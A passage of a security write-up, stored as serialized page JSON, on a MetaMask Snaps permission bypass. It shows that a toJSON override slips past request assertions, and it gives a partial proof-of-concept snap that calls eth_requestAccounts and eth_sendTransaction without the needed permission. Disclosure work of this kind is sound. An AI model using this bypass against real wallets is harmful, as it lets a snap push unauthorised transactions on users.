this",{"type":21,"tag":85,"props":39258,"children":39259},{"style":114},[39260],{"type":26,"value":73},{"type":21,"tag":85,"props":39262,"children":39263},{"style":1021},[39264],{"type":26,"value":39265},"notify",{"type":21,"tag":85,"props":39267,"children":39268},{"style":114},[39269],{"type":26,"value":31943},{"type":21,"tag":85,"props":39271,"children":39272},{"style":120},[39273],{"type":26,"value":31948},{"type":21,"tag":85,"props":39275,"children":39276},{"style":5026},[39277],{"type":26,"value":39278}," 'OutboundRequest'",{"type":21,"tag":85,"props":39280,"children":39281},{"style":114},[39282],{"type":26,"value":39283}," });\n",{"type":21,"tag":85,"props":39285,"children":39286},{"class":87,"line":185},[39287,39292],{"type":21,"tag":85,"props":39288,"children":39289},{"style":2885},[39290],{"type":26,"value":39291},"      try",{"type":21,"tag":85,"props":39293,"children":39294},{"style":114},[39295],{"type":26,"value":148},{"type":21,"tag":85,"props":39297,"children":39298},{"class":87,"line":501},[39299,39303,39307,39312],{"type":21,"tag":85,"props":39300,"children":39301},{"style":2885},[39302],{"type":26,"value":16164},{"type":21,"tag":85,"props":39304,"children":39305},{"style":2885},[39306],{"type":26,"value":36659},{"type":21,"tag":85,"props":39308,"children":39309},{"style":1021},[39310],{"type":26,"value":39311}," withTeardown",{"type":21,"tag":85,"props":39313,"children":39314},{"style":114},[39315],{"type":26,"value":1029},{"type":21,"tag":85,"props":39317,"children":39318},{"class":87,"line":697},[39319,39324,39328,39333,39337,39342,39346,39350],{"type":21,"tag":85,"props":39320,"children":39321},{"style":1021},[39322],{"type":26,"value":39323},"          originalRequest",{"type":21,"tag":85,"props":39325,"children":39326},{"style":114},[39327],{"type":26,"value":1439},{"type":21,"tag":85,"props":39329,"children":39330},{"style":120},[39331],{"type":26,"value":39332},"sanitizedArgs",{"type":21,"tag":85,"props":39334,"children":39335},{"style":2885},[39336],{"type":26,"value":3195},{"type":21,"tag":85,"props":39338,"children":39339},{"style":108},[39340],{"type":26,"value":39341}," unknown",{"type":21,"tag":85,"props":39343,"children":39344},{"style":2885},[39345],{"type":26,"value":3195},{"type":21,"tag":85,"props":39347,"children":39348},{"style":108},[39349],{"type":26,"value":38685},{"type":21,"tag":85,"props":39351,"children":39352},{"style":114},[39353],{"type":26,"value":1074},{"type":21,"tag":85,"props":39355,"children":39356},{"class":87,"line":706},[39357,39362,39366,39370],{"type":21,"tag":85,"props":39358,"children":39359},{"style":102},[39360],{"type":26,"value":39361},"          this",{"type":21,"tag":85,"props":39363,"children":39364},{"style":2885},[39365],{"type":26,"value":3195},{"type":21,"tag":85,"props":39367,"children":39368},{"style":108},[39369],{"type":26,"value":10773},{"type":21,"tag":85,"props":39371,"children":39372},{"style":114},[39373],{"type":26,"value":182},{"type":21,"tag":85,"props":39375,"children":39376},{"class":87,"line":1100},[39377],{"type":21,"tag":85,"props":39378,"children":39379},{"style":114},[39380],{"type":26,"value":2094},{"type":21,"tag":85,"props":39382,"children":39383},{"class":87,"line":1339},[39384,39389,39394],{"type":21,"tag":85,"props":39385,"children":39386},{"style":114},[39387],{"type":26,"value":39388},"      } ",{"type":21,"tag":85,"props":39390,"children":39391},{"style":2885},[39392],{"type":26,"value":39393},"finally",{"type":21,"tag":85,"props":39395,"children":39396},{"style":114},[39397],{"type":26,"value":148},{"type":21,"tag":85,"props":39399,"children":39400},{"class":87,"line":1348},[39401,39406,39410,39414,39418,39422,39427],{"type":21,"tag":85,"props":39402,"children":39403},{"style":102},[39404],{"type":26,"value":39405},"        this",{"type":21,"tag":85,"props":39407,"children":39408},{"style":114},[39409],{"type":26,"value":73},{"type":21,"tag":85,"props":39411,"children":39412},{"style":1021},[39413],{"type":26,"value":39265},{"type":21,"tag":85,"props":39415,"children":39416},{"style":114},[39417],{"type":26,"value":31943},{"type":21,"tag":85,"props":39419,"children":39420},{"style":120},[39421],{"type":26,"value":31948},{"type":21,"tag":85,"props":39423,"children":39424},{"style":5026},[39425],{"type":26,"value":39426}," 'OutboundResponse'",{"type":21,"tag":85,"props":39428,"children":39429},{"style":114},[39430],{"type":26,"value":39283},{"type":21,"tag":85,"props":39432,"children":39433},{"class":87,"line":1386},[39434],{"type":21,"tag":85,"props":39435,"children":39436},{"style":114},[39437],{"type":26,"value":13081},{"type":21,"tag":85,"props":39439,"children":39440},{"class":87,"line":1394},[39441],{"type":21,"tag":85,"props":39442,"children":39443},{"style":114},[39444],{"type":26,"value":39445},"    };\n",{"type":21,"tag":22,"props":39447,"children":39448},{},[39449,39451,39456,39458,39463],{"type":26,"value":39450},"In particular, this function is from the ",{"type":21,"tag":66,"props":39452,"children":39454},{"className":39453},[],[39455],{"type":26,"value":38626},{"type":26,"value":39457}," provider, but the only thing that changes between this and ",{"type":21,"tag":66,"props":39459,"children":39461},{"className":39460},[],[39462],{"type":26,"value":31862},{"type":26,"value":39464}," is the assert function in the first line.",{"type":21,"tag":22,"props":39466,"children":39467},{},[39468],{"type":26,"value":39469},"As we can see in the code, the execution flow follows this pattern:",{"type":21,"tag":841,"props":39471,"children":39472},{},[39473,39485,39490],{"type":21,"tag":845,"props":39474,"children":39475},{},[39476,39478,39483],{"type":26,"value":39477},"Assert if ",{"type":21,"tag":66,"props":39479,"children":39481},{"className":39480},[],[39482],{"type":26,"value":38676},{"type":26,"value":39484}," are valid",{"type":21,"tag":845,"props":39486,"children":39487},{},[39488],{"type":26,"value":39489},"getSafeJson to get sanitizedArgs",{"type":21,"tag":845,"props":39491,"children":39492},{},[39493],{"type":26,"value":39494},"originalRequest(sanitizedArgs)",{"type":21,"tag":22,"props":39496,"children":39497},{},[39498,39500,39506],{"type":26,"value":39499},"Obs: ",{"type":21,"tag":66,"props":39501,"children":39503},{"className":39502},[],[39504],{"type":26,"value":39505},"originalRequest",{"type":26,"value":39507}," makes the RPC call to metamask service worker",{"type":21,"tag":10022,"props":39509,"children":39511},{"id":39510},"safe-json-exploit",[39512],{"type":26,"value":39513},"Safe JSON Exploit",{"type":21,"tag":22,"props":39515,"children":39516},{},[39517,39519,39525,39527,39532,39534,39540],{"type":26,"value":39518},"As we dug further into the",{"type":21,"tag":66,"props":39520,"children":39522},{"className":39521},[],[39523],{"type":26,"value":39524},"getSafeJson",{"type":26,"value":39526}," function (defined in ",{"type":21,"tag":66,"props":39528,"children":39530},{"className":39529},[],[39531],{"type":26,"value":37744},{"type":26,"value":39533}," package) we discovered the following ",{"type":21,"tag":335,"props":39535,"children":39538},{"href":39536,"rel":39537},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[339],[39539],{"type":26,"value":66},{"type":26,"value":172},{"type":21,"tag":75,"props":39542,"children":39544},{"className":36061,"code":39543,"language":36063,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[39545],{"type":21,"tag":66,"props":39546,"children":39547},{"__ignoreMap":7},[39548,39613,39640,39665,39720,39728,39775,39791,39798,39815,39822,39829],{"type":21,"tag":85,"props":39549,"children":39550},{"class":87,"line":88},[39551,39555,39560,39565,39569,39574,39578,39583,39587,39591,39596,39601,39605,39609],{"type":21,"tag":85,"props":39552,"children":39553},{"style":2885},[39554],{"type":26,"value":38657},{"type":21,"tag":85,"props":39556,"children":39557},{"style":102},[39558],{"type":26,"value":39559}," const",{"type":21,"tag":85,"props":39561,"children":39562},{"style":120},[39563],{"type":26,"value":39564}," JsonStruct",{"type":21,"tag":85,"props":39566,"children":39567},{"style":169},[39568],{"type":26,"value":1941},{"type":21,"tag":85,"props":39570,"children":39571},{"style":1021},[39572],{"type":26,"value":39573}," coerce",{"type":21,"tag":85,"props":39575,"children":39576},{"style":114},[39577],{"type":26,"value":1439},{"type":21,"tag":85,"props":39579,"children":39580},{"style":120},[39581],{"type":26,"value":39582},"UnsafeJsonStruct",{"type":21,"tag":85,"props":39584,"children":39585},{"style":114},[39586],{"type":26,"value":256},{"type":21,"tag":85,"props":39588,"children":39589},{"style":1021},[39590],{"type":26,"value":17135},{"type":21,"tag":85,"props":39592,"children":39593},{"style":114},[39594],{"type":26,"value":39595},"(), (",{"type":21,"tag":85,"props":39597,"children":39598},{"style":120},[39599],{"type":26,"value":39600},"value",{"type":21,"tag":85,"props":39602,"children":39603},{"style":114},[39604],{"type":26,"value":736},{"type":21,"tag":85,"props":39606,"children":39607},{"style":102},[39608],{"type":26,"value":15240},{"type":21,"tag":85,"props":39610,"children":39611},{"style":114},[39612],{"type":26,"value":148},{"type":21,"tag":85,"props":39614,"children":39615},{"class":87,"line":98},[39616,39620,39624,39628,39632,39636],{"type":21,"tag":85,"props":39617,"children":39618},{"style":1021},[39619],{"type":26,"value":39008},{"type":21,"tag":85,"props":39621,"children":39622},{"style":114},[39623],{"type":26,"value":1439},{"type":21,"tag":85,"props":39625,"children":39626},{"style":120},[39627],{"type":26,"value":39600},{"type":21,"tag":85,"props":39629,"children":39630},{"style":114},[39631],{"type":26,"value":256},{"type":21,"tag":85,"props":39633,"children":39634},{"style":120},[39635],{"type":26,"value":39582},{"type":21,"tag":85,"props":39637,"children":39638},{"style":114},[39639],{"type":26,"value":777},{"type":21,"tag":85,"props":39641,"children":39642},{"class":87,"line":151},[39643,39648,39652,39656,39661],{"type":21,"tag":85,"props":39644,"children":39645},{"style":2885},[39646],{"type":26,"value":39647},"  return",{"type":21,"tag":85,"props":39649,"children":39650},{"style":120},[39651],{"type":26,"value":37976},{"type":21,"tag":85,"props":39653,"children":39654},{"style":114},[39655],{"type":26,"value":73},{"type":21,"tag":85,"props":39657,"children":39658},{"style":1021},[39659],{"type":26,"value":39660},"parse",{"type":21,"tag":85,"props":39662,"children":39663},{"style":114},[39664],{"type":26,"value":1029},{"type":21,"tag":85,"props":39666,"children":39667},{"class":87,"line":160},[39668,39673,39677,39682,39686,39690,39694,39699,39703,39708,39712,39716],{"type":21,"tag":85,"props":39669,"children":39670},{"style":120},[39671],{"type":26,"value":39672},"    JSON",{"type":21,"tag":85,"props":39674,"children":39675},{"style":114},[39676],{"type":26,"value":73},{"type":21,"tag":85,"props":39678,"children":39679},{"style":1021},[39680],{"type":26,"value":39681},"stringify",{"type":21,"tag":85,"props":39683,"children":39684},{"style":114},[39685],{"type":26,"value":1439},{"type":21,"tag":85,"props":39687,"children":39688},{"style":120},[39689],{"type":26,"value":39600},{"type":21,"tag":85,"props":39691,"children":39692},{"style":114},[39693],{"type":26,"value":3186},{"type":21,"tag":85,"props":39695,"children":39696},{"style":120},[39697],{"type":26,"value":39698},"propKey",{"type":21,"tag":85,"props":39700,"children":39701},{"style":114},[39702],{"type":26,"value":256},{"type":21,"tag":85,"props":39704,"children":39705},{"style":120},[39706],{"type":26,"value":39707},"propValue",{"type":21,"tag":85,"props":39709,"children":39710},{"style":114},[39711],{"type":26,"value":736},{"type":21,"tag":85,"props":39713,"children":39714},{"style":102},[39715],{"type":26,"value":15240},{"type":21,"tag":85,"props":39717,"children":39718},{"style":114},[39719],{"type":26,"value":148},{"type":21,"tag":85,"props":39721,"children":39722},{"class":87,"line":185},[39723],{"type":21,"tag":85,"props":39724,"children":39725},{"style":92},[39726],{"type":26,"value":39727},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":21,"tag":85,"props":39729,"children":39730},{"class":87,"line":501},[39731,39736,39740,39744,39748,39753,39757,39762,39766,39771],{"type":21,"tag":85,"props":39732,"children":39733},{"style":2885},[39734],{"type":26,"value":39735},"      if",{"type":21,"tag":85,"props":39737,"children":39738},{"style":114},[39739],{"type":26,"value":717},{"type":21,"tag":85,"props":39741,"children":39742},{"style":120},[39743],{"type":26,"value":39698},{"type":21,"tag":85,"props":39745,"children":39746},{"style":169},[39747],{"type":26,"value":31867},{"type":21,"tag":85,"props":39749,"children":39750},{"style":5026},[39751],{"type":26,"value":39752}," '__proto__'",{"type":21,"tag":85,"props":39754,"children":39755},{"style":169},[39756],{"type":26,"value":24137},{"type":21,"tag":85,"props":39758,"children":39759},{"style":120},[39760],{"type":26,"value":39761}," propKey",{"type":21,"tag":85,"props":39763,"children":39764},{"style":169},[39765],{"type":26,"value":31867},{"type":21,"tag":85,"props":39767,"children":39768},{"style":5026},[39769],{"type":26,"value":39770}," 'constructor'",{"type":21,"tag":85,"props":39772,"children":39773},{"style":114},[39774],{"type":26,"value":15222},{"type":21,"tag":85,"props":39776,"children":39777},{"class":87,"line":697},[39778,39782,39787],{"type":21,"tag":85,"props":39779,"children":39780},{"style":2885},[39781],{"type":26,"value":16164},{"type":21,"tag":85,"props":39783,"children":39784},{"style":102},[39785],{"type":26,"value":39786}," undefined",{"type":21,"tag":85,"props":39788,"children":39789},{"style":114},[39790],{"type":26,"value":2535},{"type":21,"tag":85,"props":39792,"children":39793},{"class":87,"line":706},[39794],{"type":21,"tag":85,"props":39795,"children":39796},{"style":114},[39797],{"type":26,"value":13081},{"type":21,"tag":85,"props":39799,"children":39800},{"class":87,"line":1100},[39801,39806,39811],{"type":21,"tag":85,"props":39802,"children":39803},{"style":2885},[39804],{"type":26,"value":39805},"      return",{"type":21,"tag":85,"props":39807,"children":39808},{"style":120},[39809],{"type":26,"value":39810}," propValue",{"type":21,"tag":85,"props":39812,"children":39813},{"style":114},[39814],{"type":26,"value":2535},{"type":21,"tag":85,"props":39816,"children":39817},{"class":87,"line":1339},[39818],{"type":21,"tag":85,"props":39819,"children":39820},{"style":114},[39821],{"type":26,"value":38993},{"type":21,"tag":85,"props":39823,"children":39824},{"class":87,"line":1348},[39825],{"type":21,"tag":85,"props":39826,"children":39827},{"style":114},[39828],{"type":26,"value":38860},{"type":21,"tag":85,"props":39830,"children":39831},{"class":87,"line":1386},[39832],{"type":21,"tag":85,"props":39833,"children":39834},{"style":114},[39835],{"type":26,"value":35785},{"type":21,"tag":22,"props":39837,"children":39838},{},[39839,39841,39847,39849,39854,39856,39862,39864,39870],{"type":26,"value":39840},"The function performs a ",{"type":21,"tag":66,"props":39842,"children":39844},{"className":39843},[],[39845],{"type":26,"value":39846},"JSON.parse(JSON.stringify(value))",{"type":26,"value":39848}," in the argument sent to ",{"type":21,"tag":66,"props":39850,"children":39852},{"className":39851},[],[39853],{"type":26,"value":39524},{"type":26,"value":39855},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":21,"tag":66,"props":39857,"children":39859},{"className":39858},[],[39860],{"type":26,"value":39861},"toJSON",{"type":26,"value":39863}," function in a legit ",{"type":21,"tag":66,"props":39865,"children":39867},{"className":39866},[],[39868],{"type":26,"value":39869},"snap.request",{"type":26,"value":39871}," argument:",{"type":21,"tag":841,"props":39873,"children":39874},{},[39875,39880,39885],{"type":21,"tag":845,"props":39876,"children":39877},{},[39878],{"type":26,"value":39879},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":21,"tag":845,"props":39881,"children":39882},{},[39883],{"type":26,"value":39884},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":21,"tag":845,"props":39886,"children":39887},{},[39888],{"type":26,"value":39889},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":21,"tag":22,"props":39891,"children":39892},{},[39893],{"type":26,"value":39894},"The assertion bypass can be useful on two occasions:",{"type":21,"tag":841,"props":39896,"children":39897},{},[39898,39903],{"type":21,"tag":845,"props":39899,"children":39900},{},[39901],{"type":26,"value":39902},"forward blocked RPC methods",{"type":21,"tag":845,"props":39904,"children":39905},{},[39906,39908,39913,39915,39921,39923,39928],{"type":26,"value":39907},"Making requests in ",{"type":21,"tag":66,"props":39909,"children":39911},{"className":39910},[],[39912],{"type":26,"value":39869},{"type":26,"value":39914}," that were only supposed to be done within ",{"type":21,"tag":66,"props":39916,"children":39918},{"className":39917},[],[39919],{"type":26,"value":39920},"ethereum.request",{"type":26,"value":39922}," (with ",{"type":21,"tag":66,"props":39924,"children":39926},{"className":39925},[],[39927],{"type":26,"value":39097},{"type":26,"value":39929}," enabled).",{"type":21,"tag":22,"props":39931,"children":39932},{},[39933],{"type":26,"value":39934},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":21,"tag":10022,"props":39936,"children":39937},{"id":6429},[39938],{"type":26,"value":6432},{"type":21,"tag":22,"props":39940,"children":39941},{},[39942],{"type":26,"value":39943},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":21,"tag":22,"props":39945,"children":39946},{},[39947],{"type":21,"tag":4681,"props":39948,"children":39950},{"alt":7,"src":39949},"/posts/metamask-snaps/note.png",[],{"type":21,"tag":10022,"props":39952,"children":39954},{"id":39953},"proof-of-concept",[39955],{"type":26,"value":35276},{"type":21,"tag":22,"props":39957,"children":39958},{},[39959,39961,39966,39968,39973,39975,39981],{"type":26,"value":39960},"To demonstrate the issue, we created a snap without the ",{"type":21,"tag":66,"props":39962,"children":39964},{"className":39963},[],[39965],{"type":26,"value":39097},{"type":26,"value":39967}," permission, and used the ",{"type":21,"tag":66,"props":39969,"children":39971},{"className":39970},[],[39972],{"type":26,"value":38626},{"type":26,"value":39974}," interface to call ",{"type":21,"tag":66,"props":39976,"children":39978},{"className":39977},[],[39979],{"type":26,"value":39980},"eth_sendTransaction",{"type":26,"value":39982},". According to the documentation, this shouldn't be possible:",{"type":21,"tag":75,"props":39984,"children":39986},{"className":36061,"code":39985,"language":36063,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[39987],{"type":21,"tag":66,"props":39988,"children":39989},{"__ignoreMap":7},[39990,40023,40030,40037,40054,40083,40090,40115,40122,40154,40165,40182,40195,40202,40209,40216,40248,40255,40262,40269,40285,40312,40319,40342,40349,40380,40391,40407,40419,40440,40455,40472,40480,40487,40494,40501,40532,40539,40546,40606,40613,40641,40658,40673,40689,40704,40716,40746,40753],{"type":21,"tag":85,"props":39991,"children":39992},{"class":87,"line":88},[39993,39997,40001,40006,40010,40014,40019],{"type":21,"tag":85,"props":39994,"children":39995},{"style":2885},[39996],{"type":26,"value":19910},{"type":21,"tag":85,"props":39998,"children":39999},{"style":114},[40000],{"type":26,"value":9999},{"type":21,"tag":85,"props":40002,"children":40003},{"style":120},[40004],{"type":26,"value":40005},"OnRpcRequestHandler",{"type":21,"tag":85,"props":40007,"children":40008},{"style":114},[40009],{"type":26,"value":36650},{"type":21,"tag":85,"props":40011,"children":40012},{"style":2885},[40013],{"type":26,"value":19900},{"type":21,"tag":85,"props":40015,"children":40016},{"style":5026},[40017],{"type":26,"value":40018}," '@metamask/snaps-types'",{"type":21,"tag":85,"props":40020,"children":40021},{"style":114},[40022],{"type":26,"value":2535},{"type":21,"tag":85,"props":40024,"children":40025},{"class":87,"line":98},[40026],{"type":21,"tag":85,"props":40027,"children":40028},{"emptyLinePlaceholder":16},[40029],{"type":26,"value":703},{"type":21,"tag":85,"props":40031,"children":40032},{"class":87,"line":151},[40033],{"type":21,"tag":85,"props":40034,"children":40035},{"emptyLinePlaceholder":16},[40036],{"type":26,"value":703},{"type":21,"tag":85,"props":40038,"children":40039},{"class":87,"line":160},[40040,40044,40049],{"type":21,"tag":85,"props":40041,"children":40042},{"style":102},[40043],{"type":26,"value":31822},{"type":21,"tag":85,"props":40045,"children":40046},{"style":1021},[40047],{"type":26,"value":40048}," jsonExploit",{"type":21,"tag":85,"props":40050,"children":40051},{"style":114},[40052],{"type":26,"value":40053},"(){\n",{"type":21,"tag":85,"props":40055,"children":40056},{"class":87,"line":185},[40057,40061,40065,40069,40074,40078],{"type":21,"tag":85,"props":40058,"children":40059},{"style":102},[40060],{"type":26,"value":2206},{"type":21,"tag":85,"props":40062,"children":40063},{"style":120},[40064],{"type":26,"value":19491},{"type":21,"tag":85,"props":40066,"children":40067},{"style":169},[40068],{"type":26,"value":1941},{"type":21,"tag":85,"props":40070,"children":40071},{"style":114},[40072],{"type":26,"value":40073}," [] ",{"type":21,"tag":85,"props":40075,"children":40076},{"style":2885},[40077],{"type":26,"value":3209},{"type":21,"tag":85,"props":40079,"children":40080},{"style":108},[40081],{"type":26,"value":40082}," any\n",{"type":21,"tag":85,"props":40084,"children":40085},{"class":87,"line":501},[40086],{"type":21,"tag":85,"props":40087,"children":40088},{"emptyLinePlaceholder":16},[40089],{"type":26,"value":703},{"type":21,"tag":85,"props":40091,"children":40092},{"class":87,"line":697},[40093,40098,40102,40106,40110],{"type":21,"tag":85,"props":40094,"children":40095},{"style":120},[40096],{"type":26,"value":40097},"  x",{"type":21,"tag":85,"props":40099,"children":40100},{"style":114},[40101],{"type":26,"value":73},{"type":21,"tag":85,"props":40103,"children":40104},{"style":120},[40105],{"type":26,"value":38761},{"type":21,"tag":85,"props":40107,"children":40108},{"style":169},[40109],{"type":26,"value":1941},{"type":21,"tag":85,"props":40111,"children":40112},{"style":5026},[40113],{"type":26,"value":40114}," \"snap_dialog\"\n",{"type":21,"tag":85,"props":40116,"children":40117},{"class":87,"line":706},[40118],{"type":21,"tag":85,"props":40119,"children":40120},{"emptyLinePlaceholder":16},[40121],{"type":26,"value":703},{"type":21,"tag":85,"props":40123,"children":40124},{"class":87,"line":1100},[40125,40129,40133,40137,40141,40146,40150],{"type":21,"tag":85,"props":40126,"children":40127},{"style":120},[40128],{"type":26,"value":40097},{"type":21,"tag":85,"props":40130,"children":40131},{"style":114},[40132],{"type":26,"value":73},{"type":21,"tag":85,"props":40134,"children":40135},{"style":1021},[40136],{"type":26,"value":39861},{"type":21,"tag":85,"props":40138,"children":40139},{"style":169},[40140],{"type":26,"value":1941},{"type":21,"tag":85,"props":40142,"children":40143},{"style":114},[40144],{"type":26,"value":40145}," () ",{"type":21,"tag":85,"props":40147,"children":40148},{"style":102},[40149],{"type":26,"value":15240},{"type":21,"tag":85,"props":40151,"children":40152},{"style":114},[40153],{"type":26,"value":148},{"type":21,"tag":85,"props":40155,"children":40156},{"class":87,"line":1339},[40157,40161],{"type":21,"tag":85,"props":40158,"children":40159},{"style":2885},[40160],{"type":26,"value":17411},{"type":21,"tag":85,"props":40162,"children":40163},{"style":114},[40164],{"type":26,"value":148},{"type":21,"tag":85,"props":40166,"children":40167},{"class":87,"line":1348},[40168,40173,40178],{"type":21,"tag":85,"props":40169,"children":40170},{"style":120},[40171],{"type":26,"value":40172},"      method:",{"type":21,"tag":85,"props":40174,"children":40175},{"style":5026},[40176],{"type":26,"value":40177}," \"eth_requestAccounts\"",{"type":21,"tag":85,"props":40179,"children":40180},{"style":114},[40181],{"type":26,"value":182},{"type":21,"tag":85,"props":40183,"children":40184},{"class":87,"line":1386},[40185,40190],{"type":21,"tag":85,"props":40186,"children":40187},{"style":120},[40188],{"type":26,"value":40189},"      params:",{"type":21,"tag":85,"props":40191,"children":40192},{"style":114},[40193],{"type":26,"value":40194}," []\n",{"type":21,"tag":85,"props":40196,"children":40197},{"class":87,"line":1394},[40198],{"type":21,"tag":85,"props":40199,"children":40200},{"style":114},[40201],{"type":26,"value":507},{"type":21,"tag":85,"props":40203,"children":40204},{"class":87,"line":1402},[40205],{"type":21,"tag":85,"props":40206,"children":40207},{"style":114},[40208],{"type":26,"value":191},{"type":21,"tag":85,"props":40210,"children":40211},{"class":87,"line":3145},[40212],{"type":21,"tag":85,"props":40213,"children":40214},{"emptyLinePlaceholder":16},[40215],{"type":26,"value":703},{"type":21,"tag":85,"props":40217,"children":40218},{"class":87,"line":3246},[40219,40223,40228,40232,40236,40240,40244],{"type":21,"tag":85,"props":40220,"children":40221},{"style":2885},[40222],{"type":26,"value":39647},{"type":21,"tag":85,"props":40224,"children":40225},{"style":120},[40226],{"type":26,"value":40227}," snap",{"type":21,"tag":85,"props":40229,"children":40230},{"style":114},[40231],{"type":26,"value":73},{"type":21,"tag":85,"props":40233,"children":40234},{"style":1021},[40235],{"type":26,"value":31938},{"type":21,"tag":85,"props":40237,"children":40238},{"style":114},[40239],{"type":26,"value":1439},{"type":21,"tag":85,"props":40241,"children":40242},{"style":120},[40243],{"type":26,"value":19702},{"type":21,"tag":85,"props":40245,"children":40246},{"style":114},[40247],{"type":26,"value":2485},{"type":21,"tag":85,"props":40249,"children":40250},{"class":87,"line":3255},[40251],{"type":21,"tag":85,"props":40252,"children":40253},{"emptyLinePlaceholder":16},[40254],{"type":26,"value":703},{"type":21,"tag":85,"props":40256,"children":40257},{"class":87,"line":3286},[40258],{"type":21,"tag":85,"props":40259,"children":40260},{"style":114},[40261],{"type":26,"value":2671},{"type":21,"tag":85,"props":40263,"children":40264},{"class":87,"line":3295},[40265],{"type":21,"tag":85,"props":40266,"children":40267},{"emptyLinePlaceholder":16},[40268],{"type":26,"value":703},{"type":21,"tag":85,"props":40270,"children":40271},{"class":87,"line":3308},[40272,40276,40281],{"type":21,"tag":85,"props":40273,"children":40274},{"style":102},[40275],{"type":26,"value":31822},{"type":21,"tag":85,"props":40277,"children":40278},{"style":1021},[40279],{"type":26,"value":40280}," transactionExploit",{"type":21,"tag":85,"props":40282,"children":40283},{"style":114},[40284],{"type":26,"value":40053},{"type":21,"tag":85,"props":40286,"children":40287},{"class":87,"line":3333},[40288,40292,40296,40300,40304,40308],{"type":21,"tag":85,"props":40289,"children":40290},{"style":102},[40291],{"type":26,"value":2206},{"type":21,"tag":85,"props":40293,"children":40294},{"style":120},[40295],{"type":26,"value":19491},{"type":21,"tag":85,"props":40297,"children":40298},{"style":169},[40299],{"type":26,"value":1941},{"type":21,"tag":85,"props":40301,"children":40302},{"style":114},[40303],{"type":26,"value":40073},{"type":21,"tag":85,"props":40305,"children":40306},{"style":2885},[40307],{"type":26,"value":3209},{"type":21,"tag":85,"props":40309,"children":40310},{"style":108},[40311],{"type":26,"value":40082},{"type":21,"tag":85,"props":40313,"children":40314},{"class":87,"line":3369},[40315],{"type":21,"tag":85,"props":40316,"children":40317},{"emptyLinePlaceholder":16},[40318],{"type":26,"value":703},{"type":21,"tag":85,"props":40320,"children":40321},{"class":87,"line":3377},[40322,40326,40330,40334,40338],{"type":21,"tag":85,"props":40323,"children":40324},{"style":120},[40325],{"type":26,"value":40097},{"type":21,"tag":85,"props":40327,"children":40328},{"style":114},[40329],{"type":26,"value":73},{"type":21,"tag":85,"props":40331,"children":40332},{"style":120},[40333],{"type":26,"value":38761},{"type":21,"tag":85,"props":40335,"children":40336},{"style":169},[40337],{"type":26,"value":1941},{"type":21,"tag":85,"props":40339,"children":40340},{"style":5026},[40341],{"type":26,"value":40114},{"type":21,"tag":85,"props":40343,"children":40344},{"class":87,"line":3386},[40345],{"type":21,"tag":85,"props":40346,"children":40347},{"emptyLinePlaceholder":16},[40348],{"type":26,"value":703},{"type":21,"tag":85,"props":40350,"children":40351},{"class":87,"line":3394},[40352,40356,40360,40364,40368,40372,40376],{"type":21,"tag":85,"props":40353,"children":40354},{"style":120},[40355],{"type":26,"value":40097},{"type":21,"tag":85,"props":40357,"children":40358},{"style":114},[40359],{"type":26,"value":73},{"type":21,"tag":85,"props":40361,"children":40362},{"style":1021},[40363],{"type":26,"value":39861},{"type":21,"tag":85,"props":40365,"children":40366},{"style":169},[40367],{"type":26,"value":1941},{"type":21,"tag":85,"props":40369,"children":40370},{"style":114},[40371],{"type":26,"value":40145},{"type":21,"tag":85,"props":40373,"children":40374},{"style":102},[40375],{"type":26,"value":15240},{"type":21,"tag":85,"props":40377,"children":40378},{"style":114},[40379],{"type":26,"value":148},{"type":21,"tag":85,"props":40381,"children":40382},{"class":87,"line":3410},[40383,40387],{"type":21,"tag":85,"props":40384,"children":40385},{"style":2885},[40386],{"type":26,"value":17411},{"type":21,"tag":85,"props":40388,"children":40389},{"style":114},[40390],{"type":26,"value":148},{"type":21,"tag":85,"props":40392,"children":40393},{"class":87,"line":3427},[40394,40398,40403],{"type":21,"tag":85,"props":40395,"children":40396},{"style":120},[40397],{"type":26,"value":40172},{"type":21,"tag":85,"props":40399,"children":40400},{"style":5026},[40401],{"type":26,"value":40402}," \"eth_sendTransaction\"",{"type":21,"tag":85,"props":40404,"children":40405},{"style":114},[40406],{"type":26,"value":182},{"type":21,"tag":85,"props":40408,"children":40409},{"class":87,"line":3445},[40410,40414],{"type":21,"tag":85,"props":40411,"children":40412},{"style":120},[40413],{"type":26,"value":40189},{"type":21,"tag":85,"props":40415,"children":40416},{"style":114},[40417],{"type":26,"value":40418}," [{\n",{"type":21,"tag":85,"props":40420,"children":40421},{"class":87,"line":3490},[40422,40426,40431,40435],{"type":21,"tag":85,"props":40423,"children":40424},{"style":120},[40425],{"type":26,"value":32510},{"type":21,"tag":85,"props":40427,"children":40428},{"style":5026},[40429],{"type":26,"value":40430}," 